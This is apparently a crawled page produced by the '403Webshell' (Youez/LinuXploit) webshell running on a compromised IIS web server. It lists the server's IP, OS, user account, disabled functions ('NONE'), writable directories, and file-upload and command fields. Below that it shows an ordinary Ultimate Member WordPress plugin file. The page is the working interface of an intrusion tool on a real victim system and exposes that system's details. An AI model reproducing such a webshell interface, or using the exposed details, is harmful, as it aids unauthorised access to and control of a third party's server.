403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/robotics/wp-content/plugins/ultimate-member/includes/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/robotics/wp-content/plugins/ultimate-member/includes/core/class-templates.php
<?php
namespace um\core;


// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;


if ( ! class_exists( 'Templates' ) ) {


	/**
	 * Class Templates
	 * @package um\core
	 */
	class Templates {

		function __construct() {

		}


		/**
		 * Get template path
		 *
		 *
		 * @param $slug
		 * @return string
		 */
		function get_template( $slug ) {
			$file_list = UM_PATH . "templates/{$slug}.php";
			$theme_file = get_stylesheet_directory() . "/ultimate-member/templates/{$slug}.php";

			if ( file_exists( $theme_file ) ) {
				$file_list = $theme_file;
			}

			return $file_list;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit